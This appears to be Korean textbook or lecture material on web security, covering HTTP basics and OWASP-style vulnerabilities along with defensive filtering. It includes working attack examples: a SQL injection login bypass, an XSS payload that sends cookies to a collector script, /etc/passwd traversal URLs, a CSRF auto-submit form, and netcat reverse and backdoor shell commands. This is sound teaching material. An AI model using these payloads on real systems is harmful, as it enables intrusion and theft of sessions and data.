Chapter 04. 웹보안 : 웹, 그무한한가능성과함께성장한해킹
1. 웹에대한이해 2. HTTP에대한이해 3. 웹서비스에대한이해 4. 웹해킹에대한이해 5. 웹의주요취약점 10가지 6. 웹취약점보안
01 웹에대한이해 인터넷의역사 처음에는대학에서연구실간데이터전송을위해, 단순히하나의시스템과다른하나의시스템간의통신을위한프로토콜을만듦. 프로토콜을해석한후이를다른프로토콜로바꾸어다른시스템으로전송해주는장치인게이트웨이 (Gateway) 가개발됨. 1969년에는미국방부산하고등연구계획국 ARPA(Advanced Research Projects Agency) 에의해전세계주요거점을연결하는네트워크가만들어짐. 이네트워크를알파넷이라부르는데, 흔히들이알파넷을인터넷의시작이라고칭함. [ 그림 4-1] UCLA의최초의네트워크노드 1994년한국통신이카이스트와연구기관등에학술교육 / 정보교류용으로제공한 하나망 을일반에개방하여코넷 (KORNET) 을시작함으로써인터넷에첫발을내딛게됨. WWW(World Wide Web) : 세계규모의거미집또는거미집모양의망이라는뜻. ( 짧게 웹 이라고함.) 1989년스위스제네바에있는유럽원자핵공동연구소 (CERN) 에서근무하던팀버너스리 (Tim Berners Lee) 에의해연구목적의프로젝트로시작됨.
01 웹에대한이해 인터넷의역사 [ 그림 4-2] 초기의 ARPA 네트워크 WWW 프로젝트의목적은전세계에흩어져있는종업원및연구자와연구결과나아이디어를공유할수있는방법을모색하는것이었음. 초기계획할당시에는웹을 Hyper Text Project 라고명명했음. Hyper Text 는 60년대에테드넬슨이만든신조어로써다른문서와연관관계를가지는텍스트를뜻함. Hyper Text를이용하면단어나문구를마우스로클릭해서관련주제에대한정보를추가로얻을수있음. 현재웹문서로가장흔히쓰이는 HTML(Hyper Text Markup Language) 은이 Hyper Text를효과적으로전달하기위한스크립트언어. 웹에접근하기위해서는웹브라우저인모자이크의경우 1992년배포 글자위에서마우스버튼을클릭할수있는하이퍼링크 (Hyper Link) 가처음구현됨. 1994년에발표된네스케이프네비게이터는인터넷의대중화에기여했지만현재는사라짐.
02 HTTP 에대한이해 HTTP 프로토콜 0.9 버전부터사용됨. 0.9 버전은서버로부터의단순읽기기능만지원. 클라이언트가웹브라우저를이용해서버에연결을요청하면, 연결요청을받은서버는그클라이언트에대해서비스를준비한다. 서버가준비상태가되면 (➊), 클라이언트는읽고자하는문서를서버에요청한다 (➋). 서버는웹문서중클라이언트가요청한문서를클라이언트에전송하고 (➌) 연결을끊는다 (➍). 0.9 버전은하나의웹페이지안에서도텍스트와그림마다 Connect 과정을반복해서거쳐야했기때문에무척비효율적임. [ 그림 4-3] HTTP 0.9 버전의연결
02 HTTP 에대한이해 HTTP Request HTTP Request는웹서버에데이터를요청하거나전송할때보내는패킷 GET 방식 가장일반적인 HTTP Request 형태 웹브라우저에요청데이터에대한인수를 URL(Uniform Resource Locator) 을통해전송 POST 방식 HTTP 헤더에데이터를전송 인수값을 URL을통해전송하지않으므로다른이가링크를통해해당페이지를볼수없음. 파일업로드는 POST 방식으로만할수있음 데이터가 URL을통해서노출되지않기때문에최소한의보안성을갖추고있기때문. 일반적으로게시판의목록이나글보기화면은접근자유도를부여하기위해 GET 방식을사용하고글저장 / 수정 / 삭제나많은양의데이터를전송할때는 POST 방식을사용. 기타방식 HEAD 방식 : 서버측의데이터를검색하고요청하는데사용 OPTIONS 방식 : 자원에대한요구 / 응답관계에서관련된선택사항의정보를요청할때사용. 이를통해클라이언트는어느것을선택할지결정할수있고, 자원과관련된필요사항도결정할수있음. PUT 방식 : 메시지에포함되어있는데이터를지정한 URI(Uniform Resource Identifier) 장소에그이름으로저장 DELETE 방식 : URI에지정되어있는자원을서버에서지울수있게함. TRACE 방식 : 요구메시지의최종수신처까지의루프백검사용으로쓰임. 즉클라이언트가보내는요구메시지가거쳐가는프록시나게이트웨이의중간경로및최종수신서버까지이르는경로를알아내는데사용
02 HTTP 에대한이해 HTTP Response 클라이언트의 Request 에대한응답패킷. 헤더정보뒤에는실제데이터 (HTML 이나그림파일 ) 가전달됨. 데이터전달이끝나면서버는연결을끊음. [ 표 4-1] HTTP Response의주요실행결과코드 실행결과코드 내용 설명 100번대 정보전송 HTTP/1.0까지는계열에대한어떤정의도이루어지지않았기때문에실험적인용도이외에는 100대서버측의응답은없다. 200번대 성공 클라이언트의요구가성공적으로수신되어처리되었음을의미한다. 300번대 리다이렉션 해당요구사항을처리하기위해사용자에이전트에의해수행되어야할추가적인동작이있음을의미한다. 400번대 클라이언트측에러 클라이언트에오류가발생한경우사용된다. 예를들면클라이언트가서버에보내는요구메시지를완전히처리하지못한경우등이다. 500번대 서버측에러 서버자체에서발생된오류상황이나요구사항을제대로처리할수없을때사용된다.
03 웹서비스에대한이해 HTML 가장단순한형태의웹언어. 웹서버에 HTML 문서를저장하고있다가클라이언트가특정 HTML 페이지를요청하면해당 HTML 문서를클라이언트로전송해줌. 이런웹페이지를정적인 (Static) 웹페이지라고함. 클라이언트의웹브라우저를통해웹서버의무엇인가를바꿀수있는가능성이매우낮기때문에웹을이용한공격이매우어려움. [ 그림 4-5] 정적인웹페이지접근시웹문서전송
03 웹서비스에대한이해 SSS ASP 나 JSP 와같은동적인페이지를제공하는스크립트를 SSS(Server Side Script) 라함. 스크립트에 HTML 확장자대신 ASP 또는 JSP 의확장자를가진웹문서를요청하면 ASP 는 DLL 이나 OCX 같은파일을이용해, JSP 는서블릿을이용해요청을처리. 그다음그결과를 HTML 파일로만들어클라이언트에전송. [ 그림 4-6] 동적인웹페이지접근시웹문서전송
03 웹서비스에대한이해 CSS 웹서비스에이용되는스크립트에는자바스크립트 (JavaScript) 나비주얼베이직스크립트 (Visual Basic Script) 등이있음. 이들은서버가아닌클라이언트측의웹브라우저에의해해석되고적용됨. 이를 CSS(Client Side Script) 라함. [ 그림 4-7] CSS 로만든웹페이지접근시클라이언트의동작
04 웹해킹에대한이해 웹취약점스캐너를통한정보수집 장점 : 웹취약점스캐너를통한정보수집은빠른시간내에다양한접속시도를수행할수있음. 단점 : 웹구조를파악하고취약점을수집하기가쉽지않음. [ 그림 4-8] Acunetix 웹취약점스캐너
04 웹해킹에대한이해 웹프록시를통한취약점분석 웹프록시는클라이언트가웹서버와웹브라우저간에전달되는모든 HTTP 패킷을웹프록시를통해서확인하 면서수정하는것이가능. [ 그림 4-9] 웹프록시의동작구조
04 웹해킹에대한이해 웹프록시를통한취약점분석 웹프록시로 burp suite를사용해보자. [ 도구 ]-[ 인터넷옵션 ]-[ 연결 ]-[LAN 설정 ] 에서프록시서버를다음과같이설정해주어야함. 127.0.0.1을흔히루프백 (Loopback) 주소라하는데, PC 자기자신을의미함. 8080은웹프록시프로그램의서비스포트 [ 그림 4-13] 웹프록시의설정 : [LAN 설정 ]-[ 프록시서버 ]
04 웹해킹에대한이해 웹프록시를통한취약점분석 서버에서클라이언트로전송되는패킷변조 웹사이트가어떤언어로개발됐든지웹프록시를통해서확인하는것은 HTML. 테스트환경으로사용하는웹페이지의게시판에서하나의글에대한열람을시도해보자. [ 그림 4-15] 테스트 1 입니다. 문서열람시도 테스트 1 입니다. 라는제목을클릭하면다음과같은내용을확인할수있다. [ 그림 4-16] 열람한 테스트 1 입니다. 의내용
04 웹해킹에대한이해 서버에서클라이언트로전송되는패킷변조 Email 값을 tt@ttt.com 으로바꿔보자. [ 그림 4-18] 웹프록시를통해 Email 변조 전송해보자. [ 그림 4-19] Email 을변조한 테스트 1 입니다. 의내용
04 웹해킹에대한이해 서버에서클라이언트로전송되는패킷변조 클라이언트에해킹하고자하는대상이있는경우 웹브라우저내용만바꾸었지만실제로는 Active X 등의형태로여러프로그램이클라이언트에설치되어웹서비스를제공하는경우가많음. 이때클라이언트에설치된서비스프로그램을속이는것이가능 서버에서클라이언트에정보를전송했다가이를다시전송받아처리하는경우 예를들면서버에서변수 A의값이 20임을확인하고이값을클라이언트에전송 그리고서버는전송한변수 A가필요할때자신의데이터베이스에서다시읽지않고, 클라이언트가관련서비스수행할때서버에다시전송해주는 A 값을참조하여서비스를수행하는경우 [ 그림 4-20] 클라이언트에전송한변수값을서버가참조
04 웹해킹에대한이해 서버에서클라이언트로전송되는패킷변조 2 단계에서 A=40 이라고바꾸어전송하면 A 값이다음과같이흘러감. [ 그림 4-21] 클라이언트에변조하여전송한변수값을서버가참조 패킷변조의예 [ 그림 4-22] 당첨권을위변조하여경품을받는경우
04 웹해킹에대한이해 서버에서클라이언트로전송되는패킷변조 테스트 1 입니다. 의글을조회하는과정에서 HTTP 패킷을웹프록시에서확인해보자. 해당글에대한인수값 (num=1) 이전달되는것을확인할수있음. [ 그림 4-23] 서버에서클라이언트로전송되는패킷 GET 을통해서게시판의첫번째글 /bbs/board_view.asp?num=1 을보여줄것을서버에요청 num 값을 2 로바꾸어전송 [ 그림 4-24] 서버에서클라이언트로전송되는패킷변조
04 웹해킹에대한이해 클라이언트에서서버로전송되는패킷변조 패킷을보내면 2 번글이다음과같이조회되는것을확인할수있음. [ 그림 4-25] 변경된본문내용 클라이언트에서서버로전송되는패킷을변조하는것은일반적인웹서비스의메뉴상접속할수없는것에접 근하거나특정한값을넣어시스템의오작동을유도하기위한목적으로사용.
04 웹해킹에대한이해 구글해킹을통한정보수집 많은정보를수집하기위해서는검색엔진을이용하면유용 검색엔진중에는구글이많이사용됨. [ 표 4-2] 구글에서제공하는고급검색기능 검색인자 설명 검색추가인자 site 특정도메인으로지정한사이트에서검색하려는문자열이포함된사이트를찾음 YES filetype 특정한파일유형에한해서검색하는문자가들어있는사이트를찾음 YES link 링크로검색하는문자가들어있는사이트를찾음 NO cache 특정검색어에해당하는캐시된페이지를보여줌 NO intitle 페이지의제목에검색하는문자가들어있는사이트를찾음 NO inurl 페이지의 URL에검색하는문자가들어있는사이트를찾음 NO
04 웹해킹에대한이해 구글해킹을통한정보수집 주요검색인자 site : 특정사이트만을집중적으로선정해서검색할때유용 wishfree.com 도메인이있는페이지에서 admin 문자열을찾으라는예 site:wishfree.com admin filetype : 특정파일유형에대해검색할때사용한다. 파일확장자가 txt 이고패스워드라는문자열이들어간파일을검색한화면 filetype:txt 패스워드 [ 그림 4-26] filetype 기능의예제결과
04 웹해킹에대한이해 구글해킹을통한정보수집 주요검색인자 intitle : 디렉터리리스닝취약점이존재하는사이트를쉽게찾을수있음. intitle:index.of admin [ 그림 4-27] 디렉터리리스팅이가능한사이트검색
04 웹해킹에대한이해 구글해킹을통한정보수집 검색엔진의검색을피하는방법 가장일반적인대응법 : 웹서버의홈디렉터리에 robots.txt 파일을만들어검색할수없게만듦. http://www.wishfree.com/robots.txt 파일이있으면구글검색엔진은 robots.txt에있는디렉토리는검색하지않음. robots.txt 파일은 Useragent와 Disallow를이용 User-agent는구글검색엔진으로부터의검색을막기위해서다음과같이사용. User-agent: googlebot 구글검색엔진의검색을막는다. User-agent: * 모든검색로봇의검색을막는다. Disallow: dbconn.ini dbconn.ini 파일을검색하지못하게한다. Disallow: /admin/ admin 디렉터리에접근하지못하게한다.
04 웹해킹에대한이해 구글해킹을통한정보수집 검색엔진의검색을피하는방법 미국백악관에서실제로사용하는 robot.txt 파일의내용을살펴보는것도좋음. http://www.whitehouse.gov/robots.txt [ 그림 4-28] www.whitehouse.gov/robots.txt 의내용
05 웹의주요취약점 10 가지 OWASP 국제웹보안표준기구 OWASP(The Open Web Application Security Project) 해마다웹관련상위 10 개의주요취약점을발표 [ 그림 4-29] OWASP 사이트
05 웹의주요취약점 10 가지 명령삽입취약점 member 테이블조회 select * from [web].[dbo].[member]; [ 그림 4-30] MS-SQL 2008 에서 member 테이블조회 왼쪽에는지금까지우리가이용한서버의데이터베이스목록이보임. 마지막에웹서버와연동되는 web이라는데이터베이스가위치 사용자정보테이블인 member 테이블의정보를확인하면 wishfree라는계정이 qwer1234라는패스워드로존재
05 웹의주요취약점 10 가지 명령삽입취약점 특정사용자에대해아이디목록을조회 select user_id from [web].[dbo].[member] where user_id ='wishfree'; [ 그림 4-31] member 테이블에서 wishfree ID 조회
05 웹의주요취약점 10 가지 명령삽입취약점 웹에서사용자가 ID와패스워드입력창에자신의 ID와패스워드를입력하면아래와같은 SQL문이작성되어데이터베이스에전송됨. select user_id from [web].[dbo].[member] where user_id =' 입력된아이디 ' AND user_pw=' 입력된패스워드 ' 입력된 ID 와패스워드가동일한계정이있으면아래의결과창에해당 ID(wishfree) 가출력됨. select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer1234' [ 그림 4-32] user_id, user_pw 를조건으로입력하고 member 테이블조회
05 웹의주요취약점 10 가지 명령삽입취약점 잘못된패스워드입력 select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer' [ 그림 4-33] 잘못된 user_pw 를조건으로입력하고 member 테이블조회
05 웹의주요취약점 10 가지 명령삽입취약점 실제웹소스의로그인처리부분 Query = "SELECT user_id FROM member WHERE user_id = '"&struser_id& ' AND password = '&strpassword&" ' " strauthcheck = GetQueryResult(Query) If strauthcheck = " " then boolauthenticated = False Else boolauthenticated = True EndIf SQL 삽입공격은어떤수단을쓰든 SQL 의결과값이 NULL 이나오지않게, 즉출력값이사용자 ID 가되도록 하여로그인하는것. 조건값에 ' or ''=' 을입력하면 where 로입력되는조건문을항상참으로만들수있음. [ 그림 4-34] 인증우회를위한 SQL 삽입공격이적용된 SQL 쿼리
05 웹의주요취약점 10 가지 명령삽입취약점 SQL 삽입공격확인 SELECT user_id FROM [web].[dbo].[member] WHERE user_id = '' or ''='' AND user_pw = '' or ''='' [ 그림 4-35] user_id, user_pw 에 or = 을입력하고 member 테이블조회
05 웹의주요취약점 10 가지 명령삽입취약점 웹에서잘못된 ID 와패스워드입력시 [ 그림 4-36] 잘못된 ID 와패스워드를이용한로그인시도 웹에서 SQL 삽입공격시 ( or = 입력 ) [ 그림 4-38] 로그인성공 SQL 삽입공격에사용되는 SQL문은무엇이라도 SQL 삽입공격에사용될수있음. SQL 삽입공격은로그인뿐만아니라웹에서사용자의입력값을받아데이터베이스에 SQL문으로데이터를요청하는모든곳에가능
05 웹의주요취약점 10 가지 XSS 취약점 XSS(Cross Site Scripting) 는공격자에의해작성된스크립트가다른사용자에게전달되는것. 다른사용자의웹브라우저내에서적절한검증없이실행 사용자의세션을탈취하거나, 웹사이트를변조하거나혹은악의적인사이트로사용자를이동시킬수있음. [ 그림 4-39] XSS 공격의구조 임의의 XSS 취약점이존재하는서버에 XSS 코드를작성하여저장 일반적으로공격자는임의의사용자또는특정인이이용하는게시판을이용 해당웹서비스사용자가공격자가작성해놓은 XSS 코드에접근 사용자는본인이공격자가작성해놓은 XSS 코드에접근하는것을인지하지못함. 웹서버는사용자가접근한 XSS 코드가포함된게시판의글을사용자에게전달 사용자시스템에서 XSS 코드가실행 XSS 코드가실행된결과가공격자에게전달되고공격자는공격을종료
05 웹의주요취약점 10 가지 XSS 취약점 XSS 가포함된글을게시판에올려해당글을읽는사용자의쿠키값을획득 쿠키값을획득하기위한간단한코드 (GetCookie.asp) 를미리만듦. GetCookie.asp <% %> testfile=server.mappath("getcookie.txt") cookie=request("cookie") set fs=server.createobject("scripting.filesystemobject") set thisfile=fs.opentextfile(testfile,8,true,0) thisfile.writeline(""&cookie&"") thisfile.close set fs=nothing
05 웹의주요취약점 10 가지 XSS 취약점 XSS 공격용스크립트를작성 [ 그림 4-40] 게시판에 XSS 취약점을이용한공격코드작성 사용된 XSS 코드 <script>location.href="http://192.168.137.128/xss/getcookie.asp?cookie="+document.cookie</script>
05 웹의주요취약점 10 가지 XSS 취약점 게시판을열람할때웹서버 (192.168.137.128) 로현재해당문서를읽는사용자의쿠키값을전달 업로드된글을사용자가읽으면화면상에아무것도나타나지않음. [ 그림 4-41] XSS 코드가포함된글열람 공격자는이미피해자의쿠키를확보하여해당웹페이지에접속함. [ 그림 4-42] 피해자로부터전달받은쿠키
05 웹의주요취약점 10 가지 XSS 취약점 해당게시판의 XSS 공격의취약성여부는다음과같은간단한 XSS 코드를게시판에입력해보고해당게시판의 글을열람해보면확인할수있음. <script>alert(document.cookie)</script> [ 그림 4-43] XXS 취약점확인
05 웹의주요취약점 10 가지 취약한인증및세션관리 취약한패스워드설정 취약한인증의가장기본적인문제점은패스워드설정 사용자측데이터를이용한인증 최초인증과정은정상적인아이디와패스워드의입력으로시작 [ 그림 4-44] 사용자측데이터를이용한인증과정 1 단계 웹서버에서해당아이디와패스워드가올바른경우접속인증을해줌. 인증값으로쿠키와같은세션값을넘겨줌. 정상적인인증 [ 그림 4-45] 사용자측데이터를이용한인증과정 2 단계
05 웹의주요취약점 10 가지 취약한인증및세션관리 사용자측데이터를이용한인증 웹서버는공격자가새로운페이지에접근할때수신한인증허용값을전달받으면서해당세션이유효한인증인지확인 이때공격자가전달해주는값 ( 아이디및사용자고유번호등 ) 을이용해해당인증의소유자 (Identity) 를구분 [ 그림 4-46] 사용자측데이터를이용한인증과정 3 단계 공격자는세션인증값은그대로사용하고 UserNo 값만변경함으로써다른계정으로로그인한것처럼웹서 비스를이용할수있음. [ 그림 4-47] 사용자측데이터를이용한인증취약점공격
05 웹의주요취약점 10 가지 직접객체참조 디렉터리탐색 디렉터리탐색 (Directory Traversal) 은웹브라우저에서확인가능한경로의상위로탐색하여특정시스템파일을다운로드하는공격방법 자료실에올라간파일을다운로드할때전용다운로드프로그램이파일을가져오는데, 이때파일이름을필터링하지않아서발생하는취약점 게시판등에서첨부파일을다운로드할때다음과같이 down.jsp 형태의 SSS 를주로사용 http://www.wishfree.com/board/download.jsp?filename= 사업계획.hwp 게시판에서글목록을보여주는 list.jsp 파일이 http://www.wishfree.com/ board 에위치한다면주소창에다 음과같이입력하여다운로드가능. http://www.wishfree.com/board/download.jsp?filename=../list.jsp
05 웹의주요취약점 10 가지 직접객체참조 디렉터리탐색 파일시스템에서. 은현재디렉토리를,.. 은상위디렉토리를의미 공격자가 filename 변수에../list.jsp 입력 다운로드가기본적으로접근하는 /board/upload 디렉토리의바로상위디렉토리에서 list.jsp를다운로드하라는의미 [ 그림 4-48].. 을이용한임의디렉터리파일다운로드
05 웹의주요취약점 10 가지 직접객체참조 디렉터리탐색 /board/admin 디렉토리에있는 adminlogin.jsp를다운로드하려면다음과같이입력. http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp download.jsp 파일자신도다음과같이다운로드할수있음. http://www.wishfree.com/board/download.jsp?filename=../download.jsp 시스템내부의중요파일도위와같은방법으로다운로드를시도 유닉스시스템의경우 /etc/passwd 와같이사용자계정과관련된중요파일을다음과같은형태로시도해볼수있음. http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc/passwd
05 웹의주요취약점 10 가지 직접객체참조 파일업로드제한부재 클라이언트에서서버측으로임의의파일을보낼수있는취약점은웹서버가가질수있는가장치명적인취약점 공격자는웹서버에악의적인파일을전송하고, 원격지에서해당파일을실행하여웹서버를장악하며추가적인내부침투공격을수행할수있게되기때문. 웹해킹의최종목표인리버스텔넷과같은웹서버의통제권을얻기위해반드시성공해야하는공격 이런취약점이존재하는가장일반적인형태는게시판 게시판에첨부파일로악의적인파일을업로드하고실행시키는것» 이때첨부파일로업로드하는악성코드는대부분웹쉘 [ 그림 4-49] 웹쉘업로드후수행
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 웹해킹을통해시스템의권한을획득한후해당시스템에텔넷과같이직접명령을입력하고확인할수있는쉘을획득하기위한방법 방화벽이존재하는시스템을공격할때자주사용 일반적으로웹서버는방화벽내부에존재하고웹서버는 80번포트를이용한웹서비스만제공하면되기때문에, 방화벽은외부인터넷을사용하는사용자에대해 80포트만을허용. 이런경우웹서버의텔넷 (Telnet) 이열려있어도방화벽으로인해공격자가외부에서접근할수없음. [ 그림 4-50] 외부로부터차단된텔넷접속
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 심화된공격을하기위해서는텔넷과유사한접근권한을획득하는것이매우중요. 방화벽에서인바운드정책 ( 외부에서방화벽내부로들어오는패킷에대한정책 ) 은 80번포트외에필요한포트만빼고다막아놓지만아웃바운드정책 ( 내부에서외부로나갈때에대한정책 ) 은별다른필터링을수행하지않는경우가많음. 리버스텔넷은이런허점을이용. [ 그림 4-51] 내부에서외부로허용된텔넷접속
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 명령창획득 : 파일업로드등을통해공격자가명령을입력할수있는명령창을획득 리버스텔넷용툴업로드 : nc와같은리버스텔넷용툴을서버게시판의파일업로드기능을이용해업로드 [ 그림 4-52] nc 툴의업로드 공격자 PC 리버스텔넷데몬활성화 : 서버에서리버스텔넷을보내면이를받아텔넷을열수있도록다음과같이리버스텔넷툴을실행시킴. nc -l -p 80 [ 그림 4-53] 공격자 PC 에서리버스텔넷데몬활성화
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 획득한명령창을통해공격자에게리버스텔넷을보내준다. 업로드한 nc 파일이위치한전체경로를입력해줘야함. 이때공격자 IP는 192.168.137.1 c:\inetpub\wwwroot\bbs\upload\nc -e cmd.exe [ 공격자 IP] 80 [ 그림 4-54] 웹서버에서공격자 PC 에리버스텔넷접속요청전송 리버스텔넷창획득 [ 그림 4-55] 웹서버에리버스텔넷연결성공
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 IP 가웹서버의 192.168.137.132 로바뀐것확인 [ 그림 4-56] 웹서버에리버스텔넷연결한후 IP 확인
05 웹의주요취약점 10 가지 직접객체참조 리버스텔넷 리버스텔넷예 [ 그림 4-57] 리버스텔넷의예 리버스텔넷예방법 파일업로드를먼저막아야함.» asp뿐만아니라리버스텔넷툴같은것을실행하지못하도록 exe나 com 같은실행파일도업로드를못하게해야함. 외부에서내부로의접속뿐만아니라내부에서외부로의불필요한접속도방화벽으로막는것이좋음.
참고 : Netcat 1/2 넷캣 (Netcat) 은 TCP 나 UDP 프로토콜을사용하는네트워크연결에 서데이터를읽고쓰는간단한유틸리티프로그램이다. 일반적으로는 UNIX 의 cat 과비슷한사용법을가지고있지만 cat 이파일에쓰거나읽듯이 nc 는 network connection 에읽거나쓴다. 이것은스크립트와병용하여 network 에대한 debugging, testing tool 로써매우편리하지만반면해킹에도이용범위가넓다. 예제 웹연결 # echo -e "HEAD / HTTP/1.0\n\n" nc httpd.apache.org 80 파일전송 ( 서버 )# nc -l -p 1234 > pstest.out ( 클라이언트 )# nc -w3 10.0.2.15 < filename
참고 : Netcat 2/2 간단한채팅서버 ( 서버 )# nc -l -p 1234 ( 클라이언트 )# telnet localhost 1234 백도어쉘 ( 서버 )# nc -e /bin/sh -l -p 1234 ( 클라이언트 )# telnet 10.0.2.15 1234 리버스쉘 ( 서버 )# nc -n -v -l -p 1234 ( 클라이언트 )# nc -e /bin/sh 10.0.2.100 1234
05 웹의주요취약점 10 가지 CSRF 취약점 CSRF(Cross Site Request Forgery) 는특정사용자를대상으로하지않고, 불특정다수를대상으로로그인된사 용자가자신의의지와는무관하게공격자가의도한행위 ( 수정, 삭제, 등록, 송금등 ) 를하게만드는공격 [ 그림 4-58] CSRF 공격의구조 CSRF 공격을이용하면공격자는특정물품을구매하여장바구니에넣어두고, 해당물품에대한결재를다른이 를통해다음과같은형태로수행할수도있음. <body onload = "document.csrf.submin()"> <form name="csrf" action="http://www.shop.co.kr/malladmin/order/order.jsp" method="post"> <input type="hidden" name="uid" value="wishfree"> <input type="hidden" name="mode" value="pay_for_order"> <input type="hiddne" name="amount" value="10000"> </form> CSRF 가성립하려면수정 삭제 등록하는액션에서사용자를구분하는파라메터값이존재하지않아야함. 특정한사용자를구분하는인수가있으면하나의사용자에게만적용되거나인증과정을통해 CSRF 공격을 막을수있음.
05 웹의주요취약점 10 가지 보안설정취약점 디렉터리리스팅 웹브라우저에서웹서버의특정디렉터리를열면그디렉터리에있는파일과목록이모두나열되는것 [ 그림 4-59] 디렉터리리스팅의예 백업및임시파일존재 웹서버에백업파일이나임시파일들을삭제하지않은채방치할경우 공격자가이파일들을발견시웹어플리케이션의내부로직및데이터베이스접속정보등중요한정보를획득할수있음. 주석관리미흡 일반적으로프로그램의주석은개발자만볼수있으나, 웹어플리케이션은웹프록시를통해이용자도볼수있음. 주석에는개발과정이나웹어플리케이션의관리목적으로주요로직에대한설명, 디렉터리구조, 테스트소스정보, 등의여러가지정보가기록될수있으니개발시주석에기록되는정보를주의
05 웹의주요취약점 10 가지 취약한정보저장방식 개인정보유출의중요한원인은웹취약점뿐만아니라, 많은웹어플리케이션이신용카드번호, 주민등록번호, 그리고인증신뢰정보와같은민감한데이터를보호하지않기때문. 보호하려는데이터의중요도에따라암호화로직을사용하고, 데이터베이스테이블단위에서암호화를수행해야함. URL 접근제한실패 관리자페이지나인증이필요한페이지에대한인증미처리로인해인증을우회하여접속할수있게됨. 이취약점에노출되면일반사용자나로그인하지않은사용자가관리자페이지에접근하여관리자권한의기능 을악용할수있음. 인증우회의예 관리자로로그인해서관리자용웹페이지에접속할수있어야하는데, 로그인을하지않고도관리자용웹페 이지에서특정작업을직접수행할수있는것 www.wishfree.com/admin/login.asp 를통해관리자로로그인한후에야 www.wishfree.com/admin/ boardadmin.asp 에접근할수있어야하는데, 관리자로로그인하지않은채로 www.wishfree.com/admin/ boardadmin.asp 에바로접근해게시판을관리하는경우. 인증우회의보안책 인증우회를막기위해서는웹에존재하는중요페이지에세션값 ( 쿠키 ) 을확인하도록검증로직을입력함.
05 웹의주요취약점 10 가지 인증시비암호화채널사용 최근에는인터넷뱅킹과같이보안성이중요한시스템에서는웹트래픽을암호화함. 이때사용되는암호화알고리즘이약하거나암호화하는구조에문제가있다면웹트래픽은복호화되거나위변조될수있음. 부적절한오류처리 웹페이지를이용하다보면자동으로다른페이지로리다이렉트 (Redirect) 하거나포워드 (Forward) 하는경우가종종발생 이때목적페이지에리다이렉트하기위해신뢰되지않은데이터를사용할경우적절한확인절차가없으면공격자는피해자를피싱사이트나악의적인사이트로리다이렉트할수있고, 권한없는페이지의접근을위해사용할수도있음.
06 웹의취약점보완 특수문자필터링 웹해킹의가장기본적인형태중하나인인수조작 인수조작은예외적인실행을유발시키기위해일반적으로특수문자를포함하게되어있음. [ 표 4-3] 필터링대상주요특수문자 주요특수문자 주요관련공격 < XSS > XSS & XSS XSS? XSS XSS, SQL 삽입공격 - - SQL 삽입공격 = SQL 삽입공격 ; SQL 삽입공격 * SQL 삽입공격. SQL 삽입공격.. SQL 삽입공격 / XSS, 디렉터리탐색
06 웹의취약점보완 특수문자필터링 아이디와패스워드를넣는부분에 문자열을입력받지못하도록 ASP 코드를수정 if check_id="y" then Response.Cookies("user_id")=id Response.Cookies("user_id").Expires = date() + 365 end if id = replace(id,"'","''") password = replace(password,"'","''") if instr(id,"'") or instr(password,"'")then %> <script language=javascript> alert(" 입력할수없는문자입니다.\n\n"); history.back(); </script> [ 그림 4-60] 사용자의입력을필터링한후 SQL 삽입공격실패
06 웹의취약점보완 특수문자필터링 XSS 공격은다음과같은함수를이용해서본문에포함되는주요특수문자를제거할수있음. function RemoveBad(InStr){ InStr = InStr.replace(/\</g,""); } InStr = InStr.replace(/\>/g,""); InStr = InStr.replace(/\&/g,""); InStr = InStr.replace(/\"/g,""); InStr = InStr.replace(/\?/g,""); InStr = InStr.replace(/\'/g,""); InStr = InStr.replace(/\//g,""); return InStr;
06 웹의취약점보완 서버측통제작용 CSS 기반의언어는웹프록시를통해웹브라우저에전달되기때문에웹프록시를통해전달되는과정에서변 조될가능성이있음. [ 그림 4-61] 사용자의입력을핉터링한후 SQL 삽입공격실패 따라서 CSS 기반의언어로필터링할경우공격자가필터링로직만파악하면쉽게필터링이무력화됨. 필터링로직은 ASP, JSP 등과같은 SSS 로필터링을수행해야함. 지속적인세션관리 URL 접근제한실패를막기위해서는기본적으로모든웹페이지에세션에대한인증을수행해야함. 모든웹페이지에대해일관성있는인증로직을적용하려면기업단위에서또는웹사이트단위에서세션인증로직을표준화해야하고, 모든웹페이지를개발할때해당표준을준수하도록해야함.